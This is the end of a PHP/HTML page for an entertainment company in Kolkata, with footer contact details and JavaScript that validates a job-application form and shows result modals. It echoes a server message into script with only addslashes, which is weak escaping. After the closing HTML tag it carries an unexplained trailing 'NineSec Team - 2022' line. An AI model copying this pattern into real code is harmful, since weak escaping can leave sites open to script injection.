                        <li><a href="gallery.html">Gallery</a></li>
                        <li><a href="contact.html">Contact Us</a></li>
                    </ul>
                </div>
                
                <div class="contact-info">
                    <h4>Contact Info</h4>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-map-marker-alt"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Our Location</h5>
                            <p>Kolkata, West Bengal, India</p>
                        </div>
                    </div>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-phone-alt"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Phone Number</h5>
                            <p>+91 91633 29786</p>
                        </div>
                    </div>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-envelope"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Email Address</h5>
                            <p>info@pinkrosesentertainment.com</p>
                        </div>
                    </div>
                </div>
            </div>
            
            <div class="footer-bottom">
                <p>&copy; 2024 Pink Roses Entertainment. All Rights Reserved. | Designed with <i class="fas fa-heart" style="color: var(--primary-color);"></i></p>
            </div>
        </div>
    </footer>
    
    <script>
// Modal Elements
const applicationModal = document.getElementById('applicationModal');
const successModal = document.getElementById('successModal');
const applicationForm = document.getElementById('applicationForm');

// Open application modal
function openApplicationModal() {
    applicationModal.style.display = 'flex';
    document.body.style.overflow = 'hidden'; // Prevent scrolling
}

// Close application modal
function closeApplicationModal() {
    applicationModal.style.display = 'none';
    document.body.style.overflow = 'auto'; // Restore scrolling
    
    // Reset form if not submitted
    if (!<?php echo $success_message ? 'true' : 'false'; ?>) {
        applicationForm.reset();
        document.getElementById('photo-name').textContent = '';
        document.getElementById('resume-name').textContent = '';
    }
}

// Close success modal
function closeSuccessModal() {
    successModal.style.display = 'none';
    closeApplicationModal();
}

// Display file names
function displayFileName(input, elementId) {
    const fileName = input.files[0]?.name || 'No file chosen';
    document.getElementById(elementId).textContent = fileName;
    
    // Validate file size for photo
    if (input.id === 'photo' && input.files[0]) {
        const fileSize = input.files[0].size / 1024 / 1024; // in MB
        if (fileSize > 2) {
            alert('Photo size should be less than 2MB');
            input.value = '';
            document.getElementById(elementId).textContent = '';
        }
    }
}

// Form validation - UPDATED VERSION
applicationForm.addEventListener('submit', function(e) {
    // Don't prevent default here, we'll validate and let it submit naturally
    const requiredFields = this.querySelectorAll('[required]');
    let isValid = true;
    let errorMessage = '';
    
    requiredFields.forEach(field => {
        if (!field.value.trim()) {
            isValid = false;
            field.style.borderColor = '#ef4444';
            
            // Add error animation
            field.style.animation = 'shake 0.3s';
            setTimeout(() => {
                field.style.animation = '';
            }, 300);
        } else {
            field.style.borderColor = '';
        }
    });
    
    // Validate email
    const emailField = document.getElementById('email');
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    if (emailField.value && !emailRegex.test(emailField.value)) {
        isValid = false;
        emailField.style.borderColor = '#ef4444';
        errorMessage = 'Please enter a valid email address.';
    }
    
    // Validate age
    const ageField = document.getElementById('age');
    const age = parseInt(ageField.value);
    if (age && (age < 16 || age > 60)) {
        isValid = false;
        ageField.style.borderColor = '#ef4444';
        errorMessage = 'Age must be between 16 and 60 years.';
    }
    
    // Validate photo upload
    const photoField = document.getElementById('photo');
    if (!photoField.files[0]) {
        isValid = false;
        errorMessage = 'Please upload a photograph.';
    }
    
    if (!isValid) {
        e.preventDefault(); // Only prevent if invalid
        if (errorMessage) {
            alert(errorMessage);
        } else {
            alert('Please fill all required fields marked with *');
        }
        return false;
    }
    
    // If all validations pass, the form will submit normally
    return true;
});

// Close modal when clicking outside
window.addEventListener('click', (e) => {
    if (e.target === applicationModal) {
        closeApplicationModal();
    }
    if (e.target === successModal) {
        closeSuccessModal();
    }
});

// Close modal with Escape key
document.addEventListener('keydown', (e) => {
    if (e.key === 'Escape') {
        closeApplicationModal();
        closeSuccessModal();
    }
});

// Phone number formatting
document.getElementById('phone').addEventListener('input', function(e) {
    let value = e.target.value.replace(/\D/g, '');
    if (value.length > 10) value = value.slice(0, 10);
    
    if (value.length > 3 && value.length <= 6) {
        value = value.replace(/(\d{3})(\d{0,3})/, '$1-$2');
    } else if (value.length > 6) {
        value = value.replace(/(\d{3})(\d{3})(\d{0,4})/, '$1-$2-$3');
    }
    e.target.value = value;
});

// Auto-open modal if form was submitted with errors
<?php if ($error_message): ?>
window.onload = function() {
    openApplicationModal();
};
<?php endif; ?>

// Auto-show success modal if application was submitted successfully
<?php if ($success_message): ?>
window.onload = function() {
    successModal.style.display = 'flex';
    document.getElementById('successMessage').textContent = "<?php echo addslashes($success_message); ?>";
};
<?php endif; ?>
</script>
</body>
</html>

NineSec Team - 2022